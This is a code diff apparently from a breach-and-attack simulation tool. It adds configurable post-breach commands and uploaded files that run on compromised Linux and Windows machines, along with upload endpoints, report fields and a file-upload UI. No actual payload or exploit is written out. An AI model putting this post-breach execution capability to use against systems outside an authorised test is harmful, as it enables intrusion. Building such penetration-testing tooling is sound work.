Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)

View File

@ -4,6 +4,7 @@ import functools
import logging import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types from six import string_types
import monkey_island.cc.services.post_breach_files
from monkey_island.cc.database import mongo from monkey_island.cc.database import mongo
from monkey_island.cc.encryptor import encryptor from monkey_island.cc.encryptor import encryptor
@ -69,6 +70,12 @@ class ConfigService:
config = [encryptor.dec(x) for x in config] config = [encryptor.dec(x) for x in config]
return config return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
mongo.db.config.update({'name': 'newconfig'},
{"$set": {mongo_key: value}})
@staticmethod @staticmethod
def get_flat_config(is_initial_config=False, should_decrypt=True): def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt) config_json = ConfigService.get_config(is_initial_config, should_decrypt)
@ -128,6 +135,8 @@ class ConfigService:
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
if should_encrypt: if should_encrypt:
try: try:
ConfigService.encrypt_config(config_json) ConfigService.encrypt_config(config_json)
@ -163,6 +172,7 @@ class ConfigService:
@staticmethod @staticmethod
def reset_config(): def reset_config():
monkey_island.cc.services.post_breach_files.remove_PBA_files()
config = ConfigService.get_default_config(True) config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config) ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False) ConfigService.update_config(config, should_encrypt=False)

View File

@ -313,6 +313,46 @@ SCHEMA = {
"title": "Behaviour", "title": "Behaviour",
"type": "object", "type": "object",
"properties": { "properties": {
"custom_PBA_linux_cmd": {
"title": "Linux post breach command",
"type": "string",
"default": "",
"description": "Linux command to be executed after breaching."
},
"PBA_linux_file": {
"title": "Linux post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Linux post breach command' field. "
"Reference your file by filename."
},
"custom_PBA_windows_cmd": {
"title": "Windows post breach command",
"type": "string",
"default": "",
"description": "Windows command to be executed after breaching."
},
"PBA_windows_file": {
"title": "Windows post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Windows post breach command' field. "
"Reference your file by filename."
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
"default": ""
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
"default": ""
},
"self_delete_in_cleanup": { "self_delete_in_cleanup": {
"title": "Self delete on cleanup", "title": "Self delete on cleanup",
"type": "boolean", "type": "boolean",
@ -423,7 +463,19 @@ SCHEMA = {
"type": "integer", "type": "integer",
"default": 60, "default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)" "description": "Time to keep tunnel open before going down after last exploit (in seconds)"
} },
"monkey_dir_windows": {
"title": "Monkey's windows directory",
"type": "string",
"default": r"C:\Windows\temp\monkey_dir",
"description": "Directory containing all monkey files on windows"
},
"monkey_dir_linux": {
"title": "Monkey's linux directory",
"type": "string",
"default": "/tmp/monkey_dir",
"description": "Directory containing all monkey files on linux"
},
} }
}, },
"classes": { "classes": {

View File

@ -142,7 +142,8 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey), "group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey), "os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"], "dead": monkey["dead"],
"domain_name": "" "domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
} }
@staticmethod @staticmethod

View File

@ -0,0 +1,43 @@
import monkey_island.cc.services.config
import logging
import os
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
UPLOADS_DIR = 'monkey_island/cc/userUploads'
def remove_PBA_files():
if monkey_island.cc.services.config.ConfigService.get_config():
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
if linux_filename:
remove_file(linux_filename)
if windows_filename:
remove_file(windows_filename)
def remove_file(file_name):
file_path = os.path.join(UPLOADS_DIR, file_name)
try:
if os.path.exists(file_path):
os.remove(file_path)
except OSError as e:
logger.error("Can't remove previously uploaded post breach files: %s" % e)
def set_config_PBA_files(config_json):
"""
Sets PBA file info in config_json to current config's PBA file info values.
:param config_json: config_json that will be modified
"""
if monkey_island.cc.services.config.ConfigService.get_config():
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename

View File

@ -132,7 +132,8 @@ class ReportService:
(NodeService.get_displayed_node_by_id(edge['from'], True) (NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'], 'services': node['services'],
'domain_name': node['domain_name'] 'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
}) })
logger.info('Scanned nodes generated for reporting') logger.info('Scanned nodes generated for reporting')

View File

@ -621,6 +621,7 @@
"resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"kind-of": "^3.0.2", "kind-of": "^3.0.2",
"longest": "^1.0.1", "longest": "^1.0.1",
@ -2424,9 +2425,9 @@
} }
}, },
"bootstrap": { "bootstrap": {
"version": "3.3.7", "version": "3.4.1",
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.3.7.tgz", "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.4.1.tgz",
"integrity": "sha1-WjiTlFSfIzMIdaOxUGVldPip63E=" "integrity": "sha512-yN5oZVmRCwe5aKwzRj6736nSmKDX7pLYwsXiCj/EYmo16hODaBiT4En5btW/jhBF/seV+XMx3aYwukYC3A49DA=="
}, },
"bower-webpack-plugin": { "bower-webpack-plugin": {
"version": "0.1.9", "version": "0.1.9",
@ -3292,7 +3293,7 @@
}, },
"yargs": { "yargs": {
"version": "11.1.0", "version": "11.1.0",
"resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
"dev": true, "dev": true,
"requires": { "requires": {
@ -5122,6 +5123,11 @@
"dev": true, "dev": true,
"optional": true "optional": true
}, },
"filepond": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz",
"integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA=="
},
"fill-range": { "fill-range": {
"version": "2.2.3", "version": "2.2.3",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz",
@ -5446,7 +5452,8 @@
"ansi-regex": { "ansi-regex": {
"version": "2.1.1", "version": "2.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"aproba": { "aproba": {
"version": "1.1.1", "version": "1.1.1",
@ -5497,7 +5504,8 @@
"balanced-match": { "balanced-match": {
"version": "0.4.2", "version": "0.4.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"bcrypt-pbkdf": { "bcrypt-pbkdf": {
"version": "1.0.1", "version": "1.0.1",
@ -5536,7 +5544,8 @@
"buffer-shims": { "buffer-shims": {
"version": "1.0.0", "version": "1.0.0",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"caseless": { "caseless": {
"version": "0.12.0", "version": "0.12.0",
@ -5807,7 +5816,8 @@
"inherits": { "inherits": {
"version": "2.0.3", "version": "2.0.3",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"ini": { "ini": {
"version": "1.3.4", "version": "1.3.4",
@ -6002,6 +6012,7 @@
"version": "1.4.0", "version": "1.4.0",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"wrappy": "1" "wrappy": "1"
} }
@ -6311,7 +6322,8 @@
"wrappy": { "wrappy": {
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
} }
} }
}, },
@ -6396,6 +6408,7 @@
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"is-glob": "^2.0.0" "is-glob": "^2.0.0"
} }
@ -7636,7 +7649,8 @@
"version": "1.0.0", "version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
"integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=", "integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
"dev": true "dev": true,
"optional": true
}, },
"is-finite": { "is-finite": {
"version": "1.0.2", "version": "1.0.2",
@ -7658,6 +7672,7 @@
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=", "integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"is-extglob": "^1.0.0" "is-extglob": "^1.0.0"
} }
@ -7724,7 +7739,8 @@
"version": "2.0.0", "version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz", "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
"integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=", "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
"dev": true "dev": true,
"optional": true
}, },
"is-promise": { "is-promise": {
"version": "2.1.0", "version": "2.1.0",
@ -8279,7 +8295,8 @@
"ansi-regex": { "ansi-regex": {
"version": "2.1.1", "version": "2.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"aproba": { "aproba": {
"version": "1.2.0", "version": "1.2.0",
@ -8322,7 +8339,8 @@
"code-point-at": { "code-point-at": {
"version": "1.1.0", "version": "1.1.0",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"concat-map": { "concat-map": {
"version": "0.0.1", "version": "0.0.1",
@ -8333,7 +8351,8 @@
"console-control-strings": { "console-control-strings": {
"version": "1.1.0", "version": "1.1.0",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"core-util-is": { "core-util-is": {
"version": "1.0.2", "version": "1.0.2",
@ -8434,7 +8453,7 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"minimatch": "3.0.4" "minimatch": "^3.0.4"
} }
}, },
"inflight": { "inflight": {
@ -8450,7 +8469,8 @@
"inherits": { "inherits": {
"version": "2.0.3", "version": "2.0.3",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"ini": { "ini": {
"version": "1.3.5", "version": "1.3.5",
@ -8462,6 +8482,7 @@
"version": "1.0.0", "version": "1.0.0",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"number-is-nan": "^1.0.0" "number-is-nan": "^1.0.0"
} }
@ -8484,12 +8505,14 @@
"minimist": { "minimist": {
"version": "0.0.8", "version": "0.0.8",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"minipass": { "minipass": {
"version": "2.2.4", "version": "2.2.4",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"safe-buffer": "^5.1.1", "safe-buffer": "^5.1.1",
"yallist": "^3.0.0" "yallist": "^3.0.0"
@ -8508,6 +8531,7 @@
"version": "0.5.1", "version": "0.5.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"minimist": "0.0.8" "minimist": "0.0.8"
} }
@ -8588,7 +8612,8 @@
"number-is-nan": { "number-is-nan": {
"version": "1.0.1", "version": "1.0.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"object-assign": { "object-assign": {
"version": "4.1.1", "version": "4.1.1",
@ -8600,6 +8625,7 @@
"version": "1.4.0", "version": "1.4.0",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"wrappy": "1" "wrappy": "1"
} }
@ -8685,7 +8711,8 @@
"safe-buffer": { "safe-buffer": {
"version": "5.1.1", "version": "5.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"safer-buffer": { "safer-buffer": {
"version": "2.1.2", "version": "2.1.2",
@ -8721,6 +8748,7 @@
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"code-point-at": "^1.0.0", "code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0", "is-fullwidth-code-point": "^1.0.0",
@ -8740,6 +8768,7 @@
"version": "3.0.1", "version": "3.0.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"ansi-regex": "^2.0.0" "ansi-regex": "^2.0.0"
} }
@ -8783,12 +8812,14 @@
"wrappy": { "wrappy": {
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"yallist": { "yallist": {
"version": "3.0.2", "version": "3.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
} }
} }
}, },
@ -9357,7 +9388,8 @@
"version": "1.0.1", "version": "1.0.1",
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz", "resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
"integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=", "integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
"dev": true "dev": true,
"optional": true
}, },
"loose-envify": { "loose-envify": {
"version": "1.3.1", "version": "1.3.1",
@ -13872,6 +13904,11 @@
"prop-types": "^15.5.8" "prop-types": "^15.5.8"
} }
}, },
"react-filepond": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz",
"integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw=="
},
"react-graph-vis": { "react-graph-vis": {
"version": "1.0.2", "version": "1.0.2",
"resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz",
@ -17072,7 +17109,8 @@
"safe-buffer": { "safe-buffer": {
"version": "5.1.1", "version": "5.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"safer-buffer": { "safer-buffer": {
"version": "2.1.2", "version": "2.1.2",
@ -17128,6 +17166,7 @@
"version": "3.0.1", "version": "3.0.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"ansi-regex": "2.1.1" "ansi-regex": "2.1.1"
} }
@ -17171,12 +17210,14 @@
"wrappy": { "wrappy": {
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"yallist": { "yallist": {
"version": "3.0.2", "version": "3.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
} }
} }
}, },
@ -18321,7 +18362,8 @@
"ansi-regex": { "ansi-regex": {
"version": "2.1.1", "version": "2.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"aproba": { "aproba": {
"version": "1.2.0", "version": "1.2.0",
@ -18364,7 +18406,8 @@
"code-point-at": { "code-point-at": {
"version": "1.1.0", "version": "1.1.0",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"concat-map": { "concat-map": {
"version": "0.0.1", "version": "0.0.1",
@ -18375,7 +18418,8 @@
"console-control-strings": { "console-control-strings": {
"version": "1.1.0", "version": "1.1.0",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"core-util-is": { "core-util-is": {
"version": "1.0.2", "version": "1.0.2",
@ -18476,7 +18520,7 @@
"dev": true, "dev": true,
"optional": true, "optional": true,
"requires": { "requires": {
"minimatch": "3.0.4" "minimatch": "^3.0.4"
} }
}, },
"inflight": { "inflight": {
@ -18492,7 +18536,8 @@
"inherits": { "inherits": {
"version": "2.0.3", "version": "2.0.3",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"ini": { "ini": {
"version": "1.3.5", "version": "1.3.5",
@ -18504,6 +18549,7 @@
"version": "1.0.0", "version": "1.0.0",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"number-is-nan": "^1.0.0" "number-is-nan": "^1.0.0"
} }
@ -18526,12 +18572,14 @@
"minimist": { "minimist": {
"version": "0.0.8", "version": "0.0.8",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"minipass": { "minipass": {
"version": "2.2.4", "version": "2.2.4",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"safe-buffer": "^5.1.1", "safe-buffer": "^5.1.1",
"yallist": "^3.0.0" "yallist": "^3.0.0"
@ -18550,6 +18598,7 @@
"version": "0.5.1", "version": "0.5.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"minimist": "0.0.8" "minimist": "0.0.8"
} }
@ -18630,7 +18679,8 @@
"number-is-nan": { "number-is-nan": {
"version": "1.0.1", "version": "1.0.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"object-assign": { "object-assign": {
"version": "4.1.1", "version": "4.1.1",
@ -18642,6 +18692,7 @@
"version": "1.4.0", "version": "1.4.0",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"wrappy": "1" "wrappy": "1"
} }
@ -18727,7 +18778,8 @@
"safe-buffer": { "safe-buffer": {
"version": "5.1.1", "version": "5.1.1",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"safer-buffer": { "safer-buffer": {
"version": "2.1.2", "version": "2.1.2",
@ -18763,6 +18815,7 @@
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"code-point-at": "^1.0.0", "code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0", "is-fullwidth-code-point": "^1.0.0",
@ -18782,6 +18835,7 @@
"version": "3.0.1", "version": "3.0.1",
"bundled": true, "bundled": true,
"dev": true, "dev": true,
"optional": true,
"requires": { "requires": {
"ansi-regex": "^2.0.0" "ansi-regex": "^2.0.0"
} }
@ -18825,12 +18879,14 @@
"wrappy": { "wrappy": {
"version": "1.0.2", "version": "1.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
}, },
"yallist": { "yallist": {
"version": "3.0.2", "version": "3.0.2",
"bundled": true, "bundled": true,
"dev": true "dev": true,
"optional": true
} }
} }
}, },

View File

@ -64,10 +64,11 @@
"webpack-dev-server": "^3.1.9" "webpack-dev-server": "^3.1.9"
}, },
"dependencies": { "dependencies": {
"bootstrap": "3.3.7", "bootstrap": "3.4.1",
"core-js": "^2.5.7", "core-js": "^2.5.7",
"downloadjs": "^1.4.7", "downloadjs": "^1.4.7",
"fetch": "^1.1.0", "fetch": "^1.1.0",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4", "js-file-download": "^0.4.4",
"json-loader": "^0.5.7", "json-loader": "^0.5.7",
"jwt-decode": "^2.2.0", "jwt-decode": "^2.2.0",
@ -83,6 +84,7 @@
"react-dimensions": "^1.3.0", "react-dimensions": "^1.3.0",
"react-dom": "^16.5.2", "react-dom": "^16.5.2",
"react-fa": "^5.0.0", "react-fa": "^5.0.0",
"react-filepond": "^7.0.1",
"react-graph-vis": "^1.0.2", "react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0", "react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.5", "react-jsonschema-form": "^1.0.5",

View File

@ -6,6 +6,7 @@ class AuthComponent extends React.Component {
super(props); super(props);
this.auth = new AuthService(); this.auth = new AuthService();
this.authFetch = this.auth.authFetch; this.authFetch = this.auth.authFetch;
this.jwtHeader = this.auth.jwtHeader();
} }
} }

View File

@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.state = { this.state = {
removePBAfiles: false,
completedSteps: { completedSteps: {
run_server: true, run_server: true,
run_monkey: false, run_monkey: false,
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
}; };
} }
// Sets the property that indicates if we need to remove PBA files from state or not
setRemovePBAfiles = (rmFiles) => {
this.setState({removePBAfiles: rmFiles});
};
componentDidMount() { componentDidMount() {
this.updateStatus(); this.updateStatus();
this.interval = setInterval(this.updateStatus, 5000); this.interval = setInterval(this.updateStatus, 5000);

View File

@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
import {Col, Nav, NavItem} from 'react-bootstrap'; import {Col, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download'; import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent'; import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
class ConfigurePageComponent extends AuthComponent { class ConfigurePageComponent extends AuthComponent {
constructor(props) { constructor(props) {
super(props); super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
this.currentSection = 'basic'; this.currentSection = 'basic';
this.currentFormData = {}; this.currentFormData = {};
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchema = {
behaviour: {
custom_PBA_linux_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_linux_file: {
"ui:widget": this.PBAlinux
},
custom_PBA_windows_cmd: {
"ui:widget": "textarea",
"ui:emptyValue": ""
},
PBA_windows_file: {
"ui:widget": this.PBAwindows
},
PBA_linux_filename: {
classNames: "linux-pba-file-info",
"ui:emptyValue": ""
},
PBA_windows_filename: {
classNames: "windows-pba-file-info",
"ui:emptyValue": ""
}
}
};
// set schema from server // set schema from server
this.state = { this.state = {
schema: {}, schema: {},
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
lastAction: 'none', lastAction: 'none',
sections: [], sections: [],
selectedSection: 'basic', selectedSection: 'basic',
allMonkeysAreDead: true allMonkeysAreDead: true,
PBAwinFile: [],
PBAlinuxFile: []
}; };
} }
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
}; };
resetConfig = () => { resetConfig = () => {
this.removePBAfiles();
this.authFetch('/api/configuration/island', this.authFetch('/api/configuration/island',
{ {
method: 'POST', method: 'POST',
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
removePBAfiles(){
// We need to clean files from widget, local state and configuration (to sync with bac end)
if (this.PBAwindowsPond !== null){
this.PBAwindowsPond.removeFile();
}
if (this.PBAlinuxPond !== null){
this.PBAlinuxPond.removeFile();
}
let request_options = {method: 'DELETE',
headers: {'Content-Type': 'text/plain'}};
this.authFetch('/api/fileUpload/PBAlinux', request_options);
this.authFetch('/api/fileUpload/PBAwindows', request_options);
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
onReadFile = (event) => { onReadFile = (event) => {
try { try {
this.setState({ this.setState({
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
}); });
}; };
PBAwindows = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAwindows',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getWinPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAwinFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAwindowsPond = ref}
/>)
};
PBAlinux = () => {
return (<FilePond
server={{ url:'/api/fileUpload/PBAlinux',
process: {headers: {'Authorization': this.jwtHeader}},
revert: {headers: {'Authorization': this.jwtHeader}},
restore: {headers: {'Authorization': this.jwtHeader}},
load: {headers: {'Authorization': this.jwtHeader}},
fetch: {headers: {'Authorization': this.jwtHeader}}
}}
files={this.getLinuxPBAfile()}
onupdatefiles={fileItems => {
this.setState({
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
})
}}
ref={ref => this.PBAlinuxPond = ref}
/>)
};
getWinPBAfile(){
if (this.state.PBAwinFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
}
}
getLinuxPBAfile(){
if (this.state.PBAlinuxFile.length !== 0){
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
}
}
static getFullPBAfile(filename){
let pbaFile = [{
source: filename,
options: {
type: 'limbo'
}
}];
return pbaFile
}
static getMockPBAfile(mockFile){
let pbaFile = [{
source: mockFile.name,
options: {
type: 'limbo'
}
}];
pbaFile[0].options.file = mockFile;
return pbaFile
}
render() { render() {
let displayedSchema = {}; let displayedSchema = {};
if (this.state.schema.hasOwnProperty('properties')) { if (this.state.schema.hasOwnProperty('properties')) {
displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema = this.state.schema['properties'][this.state.selectedSection];
displayedSchema['definitions'] = this.state.schema['definitions']; displayedSchema['definitions'] = this.state.schema['definitions'];
} }
return ( return (
<Col xs={12} lg={8}> <Col xs={12} lg={8}>
<h1 className="page-title">Monkey Configuration</h1> <h1 className="page-title">Monkey Configuration</h1>
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
} }
{ this.state.selectedSection ? { this.state.selectedSection ?
<Form schema={displayedSchema} <Form schema={displayedSchema}
uiSchema={this.uiSchema}
formData={this.state.configuration[this.state.selectedSection]} formData={this.state.configuration[this.state.selectedSection]}
onSubmit={this.onSubmit} onSubmit={this.onSubmit}
onChange={this.onChange}> onChange={this.onChange}
noValidate={true}>
<div> <div>
{ this.state.allMonkeysAreDead ? { this.state.allMonkeysAreDead ?
'' : '' :
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
</div> </div>
: ''} : ''}
</div> </div>
</Col> </Col>
); );
} }

View File

@ -2,6 +2,7 @@ import React from 'react';
import {Button, Col} from 'react-bootstrap'; import {Button, Col} from 'react-bootstrap';
import BreachedServers from 'components/report-components/BreachedServers'; import BreachedServers from 'components/report-components/BreachedServers';
import ScannedServers from 'components/report-components/ScannedServers'; import ScannedServers from 'components/report-components/ScannedServers';
import PostBreach from 'components/report-components/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions'; import {edgeGroupToColor, options} from 'components/map/MapOptions';
import StolenPasswords from 'components/report-components/StolenPasswords'; import StolenPasswords from 'components/report-components/StolenPasswords';
@ -403,15 +404,17 @@ class ReportPageComponent extends AuthComponent {
